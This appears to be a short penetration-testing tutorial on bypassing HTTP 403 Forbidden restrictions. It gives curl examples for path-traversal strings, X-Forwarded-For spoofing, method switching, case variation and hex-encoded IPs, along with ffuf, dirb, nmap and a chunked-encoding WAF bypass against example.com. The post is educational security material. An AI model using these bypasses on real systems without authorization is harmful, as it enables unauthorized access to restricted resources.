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When encountering a 403 Forbidden error, it means the server understands your request but refuses to authorize it. Penetration testers and ethical hackers often need to bypass these restrictions to identify vulnerabilities. Below are methods to bypass 403 errors, along with practical commands and techniques.
Common Bypass Techniques
1. URL Manipulation
- Try adding `/..;/` or `/%2e%2e%2f` to the path.
- Example:
curl http://example.com/admin/..;/
2. HTTP Header Spoofing
- Modify headers like `X-Forwarded-For` or
Referer
. - Example:
curl -H "X-Forwarded-For: 127.0.0.1" http://example.com/restricted
3. HTTP Method Switching
- Change `GET` to
POST
,HEAD
, orOPTIONS
. - Example:
curl -X POST http://example.com/admin
4. Case Sensitivity Bypass
- Try uppercase/lowercase variations (e.g., `ADMIN` vs.
admin
). - Example:
curl http://example.com/AdMiN
5. Using Alternate IP Representations
- Replace IP with
localhost
,0.0.0.0
, or hex encoding. - Example:
curl http://0x7F000001/admin
You Should Know:
Automating 403 Bypass with FFUF
ffuf -w /path/to/wordlist.txt -u http://example.com/FUZZ -mc 200
403 Bypass with Burp Suite
1. Intercept the request.
2. Modify headers/path in Repeater.
3. Test different payloads.
Bypass via Nginx Misconfigurations
If the server uses Nginx, try:
curl http://example.com/%2fadmin/
403 Bypass Wordlist
Common payloads:
/..;/ /%2e%2e%2f/ /./admin/ /admin/../
Courses for Ethical Hackers:
What Undercode Say
403 bypass techniques are essential for security assessments, but always ensure proper authorization before testing. Below are additional Linux and Windows commands for security testing:
Linux Commands
Check open ports netstat -tuln Test HTTP methods nmap --script http-methods --script-args http-methods.url-path=/admin <target> Enumerate directories dirb http://example.com /usr/share/wordlists/dirb/common.txt
Windows Commands
Check listening ports netstat -ano Test web requests Invoke-WebRequest -Uri "http://example.com/admin" -Method OPTIONS
WAF Bypass
Use fragmented requests curl -H "Transfer-Encoding: chunked" -X POST http://example.com/admin
Always document findings and report responsibly.
Expected Output:
A successful bypass should return a 200 OK instead of 403 Forbidden, granting access to restricted resources.
References:
Reported By: Zlatanh How – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅